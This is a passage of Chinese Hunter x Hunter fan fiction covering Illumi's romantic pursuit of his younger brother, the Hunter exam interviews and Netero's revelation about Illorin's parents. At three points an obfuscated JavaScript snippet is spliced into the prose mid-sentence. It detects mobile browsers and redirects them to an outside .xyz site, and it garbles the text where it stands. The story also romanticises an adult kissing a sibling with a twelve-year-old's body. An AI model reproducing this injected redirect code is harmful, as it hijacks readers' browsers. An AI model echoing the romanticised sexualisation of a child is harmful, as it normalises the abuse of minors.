格蕾西的天塌了。 伊洛林心虚至极，不敢说话，吞吞吐吐了一阵子才实话实说。格蕾西听完之后想杀伊尔迷的心到达了巅峰，天杀的你这个基佬男，对自己十二岁的弟弟就下手了！哪怕他好像知道了伊洛林不止这个岁数那也是死刑！死刑！ 她握住伊洛林的肩膀，晃了晃他，再晃了晃，好像要听清楚他脑子里的水声。 “那可是联通劈啊！！！” “……？！” 伊洛林瞳孔地震。 他的声音震起飞鸟，飞鸟扑腾着翅膀逃离，四周一阵沉默，寂静无声。伊洛林反反复复企图开口，却又说不出话来，半晌，他讪讪开口道：“其实我稍微，稍微也觉得有一点……”毕竟这个身体才十二岁是事实，是亲兄弟也是事实，他也不是很能理解为什么伊尔迷不在意，还和他说爸爸妈妈也不会介意。难不成这个世界这样是可以的？ “对吧？对吧！” 格蕾西看着智商仿佛回到二十年前的伊洛林，抱在怀里摸摸脑袋。不行，这样的伊洛林和未成年有什么区别，他这都傻得冒泡了！！ “没事，我去把伊尔迷杀了，把他弄死，我们就不受他的气了……” 伊洛林偷偷看了一眼格蕾西的眼色。 他偷偷地松了一口气，下一秒就被格蕾西摁住了脑袋。 “……你是不是还觉得有点可爱？” “也、也不是那么可爱……” “……” 格蕾西辛苦，心苦，还觉得自己开始命苦了。 “妈妈不准，听到了吗？妈妈不准。” “好的妈妈。” 伊洛林从善如流，顺从接口，乖巧，安静，还小心翼翼。格蕾西沉痛闭眼，这算不算一种恋爱脑？不是，你都还没跟他谈，还是这是你们之间的小情趣？天杀的，伊尔迷，你必死无疑。 于是时间一到，格蕾西杀气腾腾地出去了。 杀气浓郁得周围人不敢靠近，反而是西索一脸饶有兴趣地想要靠近，但是被伊洛林用「你敢过来我就敢喊我哥」的眼神制止在几米开外，遗憾地做出一副委屈的表情来，两个人各有各的敌人，各有各的凶神恶煞，以绝对优先的姿态完成了考试。 但是很可惜，飞艇上除了个集塔喇苦，格蕾西找不到伊尔迷发泄。 看着伊洛林又收到一张猫猫落泪的表情包，格蕾西想要一把捏爆他手机的冲动，告诉自己君子报仇十年不晚，伊洛林被她揉着脸，左搓右搓，清醒一点，冷静一点，不能被套紧，伊尔迷这个人做什么事都有他自己的逻辑，他就是想让你落进他的陷阱里面啊！格蕾西，不要冲动，不要冲动……迟早有一天可能一拳揍他脸上的！ 虽然但是，格蕾西并不知晓，那一拳很快就要到来了。 “所以，来，告诉我，伊尔迷到底在哪里。” 格蕾西笑眯眯的，伊洛林戳手指：“那个，很快就能见面了……我不能这么早说！” “我也不行？” “因为你肯定要过去飞起一脚然后大哥就暴露了！” “……” 好吧确实。 “伊尔迷重要还是我重要？” “这是什么话！”伊洛林震惊：“当然是你啊。” 格蕾西满意放过了他的脸，伊洛林被揉成发面团子，瞥了一眼在旁边看着的酷拉皮卡。少年眼神不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035582|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自觉地有些直接，实际上，他本人是温柔内敛的，只是对朋友或许会很直白，这是一种很好的性格，但是…… “不行。” 酷拉皮卡遗憾。 伊洛林的手机里，伊尔迷又发了条消息，猫猫不悦。 伊洛林觉得有点好笑，脑子一抽回了一句，「大哥每天不都和我一起睡吗还计较这个？」，下一秒顿住，等下，这不是他暧昧对象是他大哥！！他下意识摁住这条消息，却除了复制没有任何功能跳出来，不是，撤回呢！撤回呢？！ 你们通信太落后了给我提升啊！！ 集塔喇苦发出一声类似于笑声的气音，格蕾西觉得他可能是脑子有病就快死了。 伊尔迷：可是哥哥好几天没抱着你了。 伊尔迷：让你和格蕾□□处了很久，哥哥也很寂寞。 伊尔迷：有奖励吗？ 原来如此…… 伊洛林：西索也是大哥安排离开的吗？ 伊尔迷：只是和他提议，多挑选几个人中意的人，别吊死在一棵树上。 伊洛林：嗯—— 伊尔迷：奖励？ 伊洛林：大哥想要什么？ 伊尔迷：等会儿我去找你。 伊洛林开始冒烟，这句话他很难不开始想，想等下伊尔迷想要索取什么。他捂住红通通的脸，难以置信，难不成真的要兄弟禁断？奇犽哥要发出尖锐爆鸣了吧。还好格蕾西现在不在……伊洛林心虚看了一眼飞艇走廊，格蕾西和奇犽站在一起，对面是看起来一团糟的小杰，两个人几乎同频的在说什么，而小杰只是露出无可奈何的笑。 奇犽不可置信：“那可是西索啊！西索啊！你就拿到了？！” 格蕾西狠狠拍了拍小杰的肩膀，差点把他拍到地上去：“好小子，我就知道你是没问题的！我看好你！” 在他们针对鱼竿如何打中飞鸟的尝试里。 奇犽一发击中，小杰蹲了墙角，格蕾西一发即中，小杰倒地不起。 小杰和你们这些天才拼了。 三个人凑在一起聊天，聊着聊着就说起了伊洛林，格蕾西对奇犽发出了邀请：“你是不是想弄死你大哥？什么时候出发，加我一个，我要让他这辈子都无法靠近伊洛林。” “伊洛林被奇犽大哥欺负了吗？”小杰好奇询问。 “那个家伙居然追求自己年仅十二岁的弟弟！简直罔顾人伦！” 奇犽愣住，奇犽呆住，奇犽不可置信，奇犽歇斯底里。 “他在干什么！他在干什么！他要对伊洛林做什么！！” “我单知道他神经，他不给伊洛林自己睡，但我不知道他神经病啊！！这个家伙……”奇犽憋了半天，干巴巴憋出一句我要告诉爸爸妈妈去。格蕾西翻了个白眼，这是什么你完了我要告诉我爸爸。 小杰张了张嘴，他握紧拳头，眼神坚定。 “加我一个！” 伊洛林小小地打了个喷嚏。 奇怪，是着凉了吗？他独自行走到走廊深处，果不其然，下一秒黑暗里伸出一双手，把他搂进了阴影里。 40. 40 伊洛林的脊背贴上了伊尔迷的胸膛。 他被搂着后退了两步，男人肌肉紧实的胳膊拦在腰间，熟悉气息包裹住周身，伊洛林只觉得耳朵被轻轻吹了一口气，双腿登时一软，被更紧地拥在怀里。 伊尔迷倒是满脸无辜，只凑上前去，唇瓣轻轻触碰伊洛林的耳垂。 “奖励。” 他声音不咸不淡，说话时热气都洒在伊洛林耳朵那块，这分明就是故意的，心知肚明这儿不能吹气，却还是要这么做。伊洛林哪里知道什么奖励不奖励的，双手下意识去推腰上的手，下一刻就被拉着转了个方向，背部贴上了墙壁，伊尔迷低下头来，长发垂落在他们之间，仿佛遮挡住了一切外来窥探的视线。 伊洛林心里一紧，不知为何侧头躲开了他的脸。 伊尔迷掐着他的下巴把他掰正，额头抵着额头，声音有些笑意，伊洛林的耳朵疯狂爆红，热气腾腾。 “躲什么？觉得我要亲你？” “……大哥……！” 伊洛林有些恼羞成怒了，他第一次同人这样近距离暧昧接触，虽然说从前也是伊尔迷照顾他，但那个时候他们的关系只是亲兄弟，而不是现在这样，超脱了世俗伦理的兄弟暧昧，禁断啊这是！ “抱歉抱歉，哥哥逗你玩了。”伊尔迷的声音没什么歉意，只是观察到了伊洛林似乎并不讨厌，于是便干脆利落低头亲了上去。唇瓣接触微微一软，而后就分开，蜻蜓点水似的，快得让人来不及反应。 伊洛林被吓得炸毛，不自觉手上一用力，下意识爆发出了好几吨推力，而伊尔迷纹丝不动。毕竟他这种开三扇门的力气，在伊尔迷面前也只能算是小巫见大巫。 “讨厌吗？” 伊洛林能怎么回应呢？ 他没底气，鼓不起勇气，没能说出一句话来，伊尔迷眼底浮现一丝愉悦，满意于伊洛林的表现，他的眼神在逃避，面颊绯红，果然，他喜欢的是男人，不错，要是喜欢女人反而就难办了，看来他和格蕾西并没有什么爱情。伊尔迷再一次吻了下去，而这一次他将伊洛林亲得无法呼吸，微弱抵抗都消失在禁锢里，分开时舌尖牵连丝线落在衣襟上方。 “……大哥！” “嗯，忍不住就亲了。” “就算，就算我不是十二岁，但是这个身体也……” “啊，就是因为如此啊。”伊尔迷无辜地眨了眨眼睛：“如果伊洛林你是更大一点，哥哥就不止是亲你了。” “……” 伊洛林从阴影里飞奔出去，窜进了厕所。 伊尔迷的面色却瞬间冷了几分，真是的，害得他想亲近一下都要见缝插针，要不是为了多几分在伊洛林心里的筹码，他这几天绝对不会让格蕾西与伊洛林独处，考试已经接近尾声，猎人协会也已经按捺不住了，已经有考官隐晦询问自己是否会从中作梗，伊尔迷的回答是揍敌客家不做无用功。 他望着紧紧闭上的厕所门，干脆利落将钉子重复摁了原处。 重新变为集塔喇苦的伊尔迷走了出去，看着正在一起聊天的三个人，缓缓收回视线，坐在了一侧。 他和西索有个交易。 你想让格蕾西快速成长吗？拔苗助长也好，增加速度也罢，想让她快点成长为你能够摘下的果实吗？ 西索饶有兴趣，询问了价格，经过交涉，他们达成了不涉及金钱的一次交易，西索与他一起，给予格蕾西和伊洛林独处的一段时光，而后放纵格蕾西与伊洛林的交往。西索质疑他如何能够知道伊洛林的选择，伊尔迷的回答是——「毕竟我可是做了他十二年的哥哥」 不错，他们有了共同的利益。 “各位考生请注意，从现在开始，叫到号码的考生请进入面谈室，接受面试。” 喇叭声响起，一个人接着一个人的询问，每个人轮流进入房间内接受询问，揣测是笔试的一群人心情焦虑又颓废，毕竟可不是每个人都和酷拉皮卡一样，拥有渊博的知识。伊洛林也从厕所出来，洗了两把脸后面颊依旧滚烫，不过散热了许多，伊尔迷也没亲得太过火，起码嘴巴没事，应该看不出来。 他觉得羞愧，觉得对不起父母，也根本对不起家里人。 这次回去之后好好地道歉吧…… 伊洛林叹息着。 面试、或者说会谈正在有条不紊地进行中。 西索最在意的是奇犽，想要同他打一次的心情很强烈，毕竟小杰的潜力虽然很大，却还未成长到足够有趣的时候，而格蕾西还不够完美，则最不想交手的人是小杰，西索可是蛮害怕自己一时兴起就不管不顾杀了小杰，那样的话未来的乐趣不就更少了吗？ 爆库儿最在意的是酷拉皮卡与伊洛林，前者综合看起来很强，后者则是不需要综合就看起来很强，只需为什么没有奇犽，只能说奇犽暂且没和他遇到过，而伊洛林排在第三的陷阱塔名次震撼到了爆库儿，当然最不想交手的莫过于西索而言，大概除了小杰没有人会想要和他战斗。 鲍得罗对于关注对象倒是直白地说是西索，毕竟这个家伙的眼神很恶心，恶心就恶心在他看别人的目光与物品差不多，带着居高临下的轻蔑，毫不在意，令人不悦。而无法动手的对象则有四个，小杰等四个才十二岁的小孩，哪怕是伊洛林，鲍得罗也无法动手。 集塔喇苦最在意的当然是奇犽与伊洛林，最不想交手的是西索，打起来很麻烦，也会有些不能点到为止，西索要是兴致上头就糟糕了，因为他并不想受伤和打不一定能赢得架就对了。尼特罗会长盯着集塔喇苦的脸，摸了摸胡须：“我最后再询问你一次，关于伊洛林的项链，你们肯不肯交出？” 集塔喇苦微微抬头，伊尔迷的声音从喉咙里溢出。 “啊，那件事啊，会交给他自己做决定的，揍敌客家，也很想要知道一个答案呢。” “别这么看着我，你和我也没有差别。” 伊尔迷起身离开，而尼特罗沉默了许久，才呼唤下一名考生的号码。 半藏最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035583|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意的是西索，因为西索无时无刻散发出了让人警惕的气息，不想交手的自然也是西索，没人愿意和他打，除了小杰，这件事要说两遍。 小杰最想交手的是西索，当然，最在意的人他选不出来，因为有点多，不仅仅是一开始遇上的雷欧力，后来认识的酷拉皮卡，还有伊洛林。他嗅到了不安的气息，踌躇着望着照片上伊洛林的脸，低落垂下了眼睑，他似乎没有触及到伊洛林的内心，可他还是会很在意。此外，就是在场地里才认识的格蕾西，性格很好，他也非常在意她。 酷拉皮卡最在意的人是小杰与伊洛林，小杰不必多说，他属实是个太阳一样的人物，而与此相反的，伊洛林像月亮，总是看着凝望着，像是人群之外的人，可是不论是从船员落水还是雷欧力遇到危险，自己也受了帮助，他的存在让酷拉皮卡十分在意，反面意味地在意则是西索，毕竟他不喜欢这样的人。不过没有理由的话不能与任何人战斗，拥有理由的话，小杰他也会尝试着战斗，这就是酷拉皮卡。 雷欧力最在意的当然是小杰，而最不想战斗的，竟然不是西索，而是伊洛林。 “他很特别，我不知道是为什么，但我觉得他很特别。义无反顾跳下来救我的时候我是真的没想到，虽然事后他说没有他的话，小杰也会救我。所以我不想和他战斗，因为，我不想和自己的恩人为敌。” 小杰和酷拉皮卡，则是感情更深。 奇犽倒数第三个被喊了进来，他下意识的撒谎装作毫不在意，说了最在意西索这种谎话，最不想和爆库儿打，虽然不算完全的实话，但也不是假话，这种模棱两可的回答奇犽信手拈来，可尼特罗会长直截了当挑明了他在说话。这是考试的环节之一，撒谎的话，是要负责任的。 “被你发现了——” 奇犽指着伊洛林：“最在意的当然是他，我的双胞胎弟弟，我们一直都在一起，整整十二年了，整个家里我最喜欢的就是他，当然还有小杰……因为一些原因，我不想和他战斗，伊洛林我也不想打，除了他们之外……”他面色微微发红：“那个叫作格蕾西的，我蛮在意的……打起来无所谓啦，就是在意而已。” “弟弟，朋友，还有……喜欢的人？” “哪里有喜欢啦！” 奇犽炸了毛，他又一次被气得像唐O鸭一样走了出去，但是顺拐，差点撞到了墙壁。格蕾西好奇地望了他一眼，倒数第二个进入了房间。 “最在意的，当然是伊洛林，他是我最好的朋友。” “最不想战斗的也是伊洛林，我不会伤害他任何，至于别人，无所谓啦，要打我随时奉陪，死了可不怪我。” 尼特罗会长对她和蔼一笑。 “是吗……最好的朋友啊。” “那么，你是会永远陪着他，哪怕他做什么都跟着？” 格蕾西理所当然地点头。 “嗯。” “我们会在一起。” “哪怕是死亡也无法将我们分开。” 41. 41 伊洛林作为最后一位，规规矩矩坐在尼特罗会长的面前。 时隔多年，重新看到这样一张脸，尼特罗会长依旧感慨万千。他记得那个时候，那两个人的模样，他们逝去时缅怀的人不在少数，而现在，伊洛林也要用这样一张脸，开启新的动荡时代了。 “你来参加考试的理由是什么？” “父母和哥哥希望我是猎人。” “你最在意的人，是谁？” “只能选一个吗？” “不，请随意。” 伊洛林指了指格蕾西的照片，他不自觉地扬起一抹笑：“我最在意的是格蕾西，她是我最好的朋友。但是其余有些人我也很有些在意，比如我哥哥，和集塔喇苦，还有酷拉皮卡他们三个。” “那么，你最不想交手的对象是？” “格蕾西和奇犽哥还有集塔喇苦。虽然和小杰他们也是比较熟悉，不过如果是为了考试需要交手的话，我不会手下留情的。” 伊洛林思索着回答。 虽然要和小杰他们战斗或许会让他变得难过，但是如果是考试的要求，那他不可能会放弃比赛，只有格蕾西和奇犽能让他直接弃权，面对大哥那叫作向强者低头。 “那么，伊洛林，以上是本次猎人考试最后的会谈环节，而接下来，是我本人对你进行的会谈。我以…猎人协会会长的身份，为自己的言论做出真实性的保证，若有一句谎言，你可以杀掉我，而我绝不反抗。” 伊洛林微微睁大了眼睛。 他不明白自己有什么事情是需要和对方谈的，虽然对方摆出一副认真的模样，可伊洛林的手还是开始微微发抖，他的预感似乎朝着某个方向狂奔，无法停止，无法阻拦，终究灭亡。 他张了张嘴，想说自己拒绝，可是话到嘴边又吞了下去，他茫然，不解，困惑，宛如初生婴儿对外界的陌生全然抗拒，可选择的权利从一开始就不在他的手上。伊洛林的心跳加快，胸口发闷，那一瞬间他好想去找大哥，仿佛那样就能逃避现实。但他又不懂，为什么自己会想要逃避一场普通的谈话。 “……我不太懂。” 尼特罗会长隐约不忍，却依旧不疾不徐说着他早已构思千百次的话语。 “伊洛林.揍敌客，如果我告诉你，你的父母另有其人呢？” 那一瞬间，大脑嗡鸣。 长而急促的耳鸣贯穿过大脑激荡起尖锐疼痛，无法思考而骤然停顿的脑神经模糊一片，他像一座雕塑僵在原地无法动弹，他像一场笑话引人发笑，他忘了呼吸忘了心跳，一切都戛然而止在那句话落地之后，轻飘飘的话语却掷地有声在心中骤然炸开，长久的沉默之后涌上心头的是一阵愤怒。伊洛林什么也没想，他浑身剧烈颤抖，色厉内荏厉声呵止道：“你……我不允许你……你、撒谎！我怎么可能不是…我、我是爸爸妈妈的孩子，你…闭嘴！” 或者说，他不敢去想这句话的真正含义是什么。 “你的父亲，名为金斯顿，你的母亲，名为阿淇娅，伊洛林，你本身的名字应该叫作——零洛。” “……住口。” “你的父母死于伊尔迷.揍敌客之手。” “我让你别说了……” “你的父母，是猎人协会的成员，也是我信任的朋友。” 伊洛林腾地站起身，他已经全身发抖到无力做什么，眼泪大颗大颗砸下来，说不清楚是痛苦还是愤怒，是不可置信还是难以想象，他想要呕吐，胃里一阵翻涌，他踉跄一步摔在桌前，声嘶力竭：“我让你闭嘴！！” 疯狂杀意与念力爆发的同时，两个黑色西装的猎人协会成员一左一右站在了面谈室门口。 蜂拥而至的众人望着紧闭的房门。 “你们，在做什么？”格蕾西握紧了拳头：“我问你们，你们在对伊洛林做什么？” 这种程度的杀意，格蕾西从未在伊洛林身上感受过。 而大部分人则是震惊于伊洛林散发的恐怖威压，这孩子，比他们所想的强大。 “43号选手，请回到自己的位置上。” “……”格蕾西没有废话，手指握住了垂落的链条，棱刺在空气里闪烁着锋利的光芒，它见过血，无数次掠夺过人的性命，这一刻格蕾西只觉得它需要再一次见血。可没人给她机会，西装成员冷漠劝告，如果对他们出手，则视为与猎人协会为敌，自动放弃考试资格，必须立刻离开最后考场，而伸缩自如爱将她的手腕牢牢控制住，西索的声音像苍蝇，让格蕾西烦躁不堪。 “你最好别轻举妄动哦，否则里头的情况，就会变得更差了呢。” 螳臂当车，是自不量力，格蕾西要和猎人协会作对也是如此。 “……所以，你们不肯让开吗？” 奇犽阴沉着面色，一门之隔，他的弟弟在遭遇什么？ 周围人互相交换了一个眼神，隐约地，绝大部分人都形成了联盟，企图向他们逼近，可下一句话却将他们定在原地。 “诸位，若有一人靠近，则全员落选。” 萨次考官从走廊尽头踱步而来，他面色凝重，并没有挡在门前，可话语里的含义不言而喻：“不用担心伊洛林考生，会长有话同他说，只不过有些事，或许不太好听，或许不太爱听，但是必须要听。” 会长，在这里告诉他，真的好吗。 稍微有些没有顾及到这个孩子的心理了吧，萨次沉重叹气，但，他也找不到更好的时机了。 “不爱听就不听，这个破试我不考了又能怎样？” 格蕾西才不在意，毕竟一开始就不是自己想来的，而奇犽也并非一定要做猎人，他只是一时兴起，觉得好玩，他们两个人并没有放弃，而对峙时，门内，会谈依旧在继续。 “很遗憾，这是事实，虽然你大概并不想听。” “伊洛林，你的父母很爱你，他们从一开始就用自己保护了你。揍敌客并非不想杀你，只是你身上有死后念。” “念力是一种神奇的能量，哪怕死后也依旧存在，而现在我要说明一点来证实这一点。你是女性，从器官，到灵魂，你是完全的女性。这一点，你自己清楚吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035584|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊洛林清楚吗？ 他伸出手，掀开了桌子，桌子撞碎在墙上，发出巨大的声响。 “所以呢，你想要我做什么？你想我回去，杀了我的爸爸妈妈？还是和揍敌客家反目成仇？你想要我……为你们所用？你的目的，真的就是告诉我真相而已吗？！” 伊洛林控制不住自己的眼泪，他颤抖，浑身都在抖，拼尽全力也无法拦住自己的仇恨。 为什么要告诉他？ 为什么要说出来？ 为什么不能让他在这个谎言里就这样一辈子？！ “……你是聪明的孩子，难道忘记了自己在飞艇上说过的话吗？” 原来，如此啊。 原来他们一直都在看着，看着自己说话做事，看着自己行为举止，看着自己一步步走过来，要看他冠冕堂皇说话，要看他为了揍敌客而说话，然后那句话再回归在自己身上，从一开始，从船上，他们就都知道了！ “……出去。” “……” “你不是，我父母的……朋友吗？给我房间，又如何呢……” 伊洛林缓缓起身，他全身无力心神震动，他哽咽着，泪流满面，眼神里是痛苦与绝望，他哭什么？是哭被杀的父母吗，不见得，人都是自私的，伊洛林从不完美，他只是哭自己得到的爱，是真的还是假的？ 伊尔迷……对他，也是假的，对吗？ 自己的一切在他们眼里都是如同跳梁小丑一样，对吧？ 尼特罗沉默看着他，这反应是在预料之中，也在预料之中，他的反应也更注定了这是一场不得不进行的坦白，开诚布公，真相不被接受。 “我们永远等待你的回答。” 他闲庭信步，走出房门，在下属的保护下走到一旁，并没有离开。冲在最前面的奇犽与格蕾西，一眼就看见了扶着门的伊洛林，他面色惨白，双目无神，只有眼泪还在不停地落下，奇犽下意识伸手要去扶他，可下一秒伊洛林躲开了他的手。 奇犽僵硬在了原地。 伊洛林不看他，只抬起头，视线准确无误地落在了格蕾西身上。鼻腔堵塞，泪水无法停下，他哭着喊她。 “……深深。” 他的眼睛在说话，他在说，救救我。 格蕾西一把推开了奇犽。虽然她不知道为什么奇犽被伊洛林排斥了，但肯定是因为奇犽做错了事，所以她毫不客气，一步上前搂住了伊洛林。房门重新关上，伊洛林瘫软坐下，他埋头在格蕾西的怀里，带着浓烈的哭腔，攥紧了自己唯一的救命稻草。 “你是真的，对不对？你是真的……” “对，我是真的，我就在这里。” “……深深，我……” 伊洛林再也说不下去了。 奇犽扶着门，他清晰地听见伊洛林在号啕大哭，他的声音悲怆，几乎是绝望的悲鸣着，他从未听见伊洛林放声大哭，就像他从未听见伊洛林放声大笑。 他的额头贴着门板，心脏剧烈颤动着。 伊洛林，你是不是…不要哥哥了？ 42. 42 伊洛林很容易哭。 他总是沉默地流泪，用湿漉漉的眼睛与通红的眼眶来表达情绪，他只会小声啜泣，他的哭泣从来不为换取利益与怜惜，是伊尔迷误解他，是他人误以为他是脆弱，破碎成无数玻璃碎片的却不能扎入血肉里。 格蕾西的记忆里伊洛林只这样痛哭过一次，是她从大山里逃出来劫后余生，哭了她的不甘心与痛苦，哭了她的愤怒与决绝。 这是第二次。 他比第一次还要痛苦，还要无助，他是绝望的，眼泪浸透了格蕾西的裙摆，她抚摸着趴在自己膝盖上的伊洛林，眼泪落在蜿蜒的长发里。哪怕不知道发生了什么也能清晰地感受到他的破碎，是啼哭也是悲鸣，是困兽挣扎着难以接受现实，他的眼泪滚滚而落，哭得像在尖叫。 “我在这，我在这里……” 她只能重复这样的话语，却恨自己为什么没有早一点冲进来，她什么也做不到吗？她还不够强大，还不够，否则为什么他们随便一个人都能欺负他们？！ 为什么不能放过他们？ 为什么要来这个时刻？ 为什么要成为这样的他们？ 为什么……这世界上的为什么太多，是什么才能成为理由？ “林洛，我在这。” 她抚摸上伊洛林的脸，那哭声逐渐低沉了下去，他发出一些急促的呼吸声，紧接着是痛苦的堵塞音，伊洛林从她的腿上摔了下去，他急促喘气着，肌肉无意识抽动着，头昏脑胀一头撞上了地板，趴在地上狼狈地抽动着。伊洛林捂住了胸口，他岣嵝起上半身，喉咙里发出了嗬嗬声，呼吸快而猛烈，他听不见格蕾西急切的声音，只觉得天旋地转。 格蕾西当机立断打开门：“雷欧力！进来！” 雷欧力只是微微一愣，瞥了一眼伊洛林匍匐的身形，瞬间冲了进去，而格蕾西又将门一把甩上。雷欧力跪在伊洛林身侧检查了症状，眉目间阴沉沉地压下去复杂的情绪：“呼吸中毒，需要急救，格蕾西，我需要密不透风的袋子……” 格蕾西又将门一把打开。 “酷拉皮卡，去找一个密不透风的袋子，小杰，去读书室把雷欧力的箱子提过来。” 奇犽下意识想要上前，而格蕾西只是冷漠甩下一句滚开，又将门再度合上。酷拉皮卡与小杰分头行动，格蕾西回到办公室里时伊洛林已经被雷欧力扶起，他用手掌捂住伊洛林的口鼻，几乎只露出一双眼睛，让伊洛林难以呼吸。他挣扎起来，根本分不清楚眼前人是谁，雷欧力被甩出去掀翻在地，而格蕾西扑上去抓住了伊洛林的手。 “林洛！” 雷欧力晕头转向，但他仍旧快速起身爬过来，依旧捂住了伊洛林的口鼻，而这一次伊洛林没有挣扎，他握住了格蕾西的手，两只脚无力踢蹬了两下，面色逐渐更苍白。 酷拉皮卡推门进来看到的就是这样的场景。 伊洛林终于被松开，他在不透风的袋子里呼吸，而雷欧力迅速配置好药物，在他的胳膊上注射了一针。伊洛林终于缓慢平静下来，他的眼珠子转了转，最终疲惫地闭上了，他的眼泪还在流淌，连同他的狼狈一起，都落了一地。 “伊洛林，虽然不知道为什么，但是……你现在最重要的是平静下来。”雷欧力合上箱子，他一直以为伊洛林就是那样冷静的人，可他的哭声谁听了都觉得难过。酷拉皮卡将手按在雷欧力的肩膀，摇了摇头。小杰守着门口，没让人进来，他想问很多事，想知道为什么伊洛林会这样痛苦，为什么奇犽不能进来，为什么排除他在外…… “谢谢你们，但是现在，让他冷静一下吧。” 他们三个人被格蕾西淡漠请了出来，而这一出来，就是两个小时。 伊洛林坐起身，撩开自己额前的长发，他露出一张麻木的脸，只是眼里还有一些无法摆脱的痛苦，视线缓慢转向格蕾西，他挪过去抱住她，两个人紧紧相偎相依，像这世界唯二的两颗星星，放不开彼此。 “……你等我。” 伊洛林一开口，声音生涩沙哑，他哭得太厉害，嗓子已经无法和平时一样。 “我不想听他们一面之词，不想就这样做出决定，你等我，了解了全部……你等我……” “好。”格蕾西毫不犹豫：“我不要求你现在告诉我，因为我知道你会告诉我，全部都会。现在，你要好好地，恢复精神。” 伊洛林很想对她笑一下，却只是比哭还难看。 他终于推开门向外走去，尽可能平静经过他们，走回了自己曾经出来过的厕所，他用冷水洗脸，一把一把扑在脸上，镜子里有一张迷茫的脸，一张他熟悉又陌生的脸。 “你来看我笑话吗？” 集塔喇苦安静凝望着他。 “……别靠近我了。” 他徒劳地弯下腰，再一次趴在洗手池上呕吐起来，可是除了空气，什么也没有。他干呕着浑身痉挛，一想到那个吻，他就更加的反胃。 “哥哥从来没想伤害你。” 集塔喇苦留下这句话，转身离开了。 于是伊洛林自暴自弃，他抬起手拔出自己随身携带的刀，一刀将自己及腰长发切断到肩头附近，他冷静地呼吸着，转头奔向格蕾西，他拉着她的手，两个人在考试开始之前就一直在一起，互相地给对方信念。 “格蕾西，你要等我，不能让自己受伤，可以吗？” “那你必须也一样。” “我答应你。”伊洛林低垂眼睫：“其实我觉得，我已经做出了决定，所以我需要你帮我。没有你，我就什么也做不到，所以……来帮帮我吧。” “好。” 格蕾西没有任何犹豫。 她当然会答应伊洛林，不论是做什么，是要杀多少人还是把这个世界全毁了，她都奉陪。他们十指相扣，直到轮到伊洛林上场。 他凑过去，用额头轻轻抵住格蕾西的额头。 “借给我你的头绳吧，下次见面，我还给你。” “……约定好了。” “约定好了。” 格蕾西取下发绳，马尾辫松散下来落在身后，而伊洛林用她的头绳将自己的头发随性扎成高马尾。他站起身，迎面向半藏走去。 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他惊疑不定地看着伊洛林，他只是握拳蓄力，并没有什么不对，但就在他犹豫的这一秒，伊洛林不知何时已经到了他面前，两条腿缠住了他的脖颈，交错一旋转，半藏整个人都□□脆利落地摔到了地上，尘土飞扬，砖块皲裂，他短路的两秒里，伊洛林的针狠狠地扎进了他的胸口。 “你要杀了我吗！！” 半藏痛地大叫，可是伊洛林坐在他胸口，膝盖抵住他的两只手，恐怖的力量让他无法动弹，死亡的威压也悬挂在头顶。 “无所谓。” 伊洛林表情平静，麻木，不见一点光芒的双目冷冷凝望着他。 “死了，我输，投降，我赢，两种选择。” “我认输，我认输！” 伊洛林干脆利落拔出了针，站了起来，他头也不回向外走去，马尾辫轻轻晃动，雷欧力忍不住叫了他一声：“你要去哪里！”但伊洛林没有回应，他走了出去，背影消失在格蕾西的视线中。 在他即将踏出考试会场时，萨次出现在了他的面前。 “……你要去哪里？” “回家。” “猎人证的派发是在考试结束之后。” “反正我就算离开，你们也会主动留着等我回来拿，不是吗。”伊洛林很清楚，他们需要自己，有一个合理的理由，有一个合适的媒介。萨次有些难以辩解，他心有愧疚，语气柔和：“有关于他们的事情，你可以来询问我。” “没必要，你们巴不得全和我说。” “……抱歉，真的很抱歉。” “我其实很好奇一件事。” 伊洛林的视线依旧冷而疏离：“他们是你们的朋友、同事，怀念他们是你们的日常，然而对于他们的孩子，你们也见不得有多温柔，所以为什么要装成自己很亲近的样子？有意思吗？” “……” 萨次侧开身子，伊洛林径直离开。 他望着伊洛林的背影，不由自主想起那一年，伊洛林还在妈妈的肚子里，阿淇娅笑着对他说，“谢谢你，萨次，或许以后，我的女儿还要多多拜托你照顾呢！” 她眼角下的泪痣，活泼鲜明。 43. 43 都说近乡情怯，或许近家了也是。 伊洛林看着手机，伊尔迷发来的消息还停留在页面上。 是一张委屈的小猫表情包，很可爱，胖嘟嘟的小黑猫摆着臭脸委屈，容易幻视成伊尔迷撒娇。伊洛林反反复复想要发几句话过去，却又是打了删，删了又打。 最后他什么也没说。 伊尔迷这时候又发了一条消息过来，是语音。 他犹豫几秒，点开了，伊尔迷的声音播放在耳边。 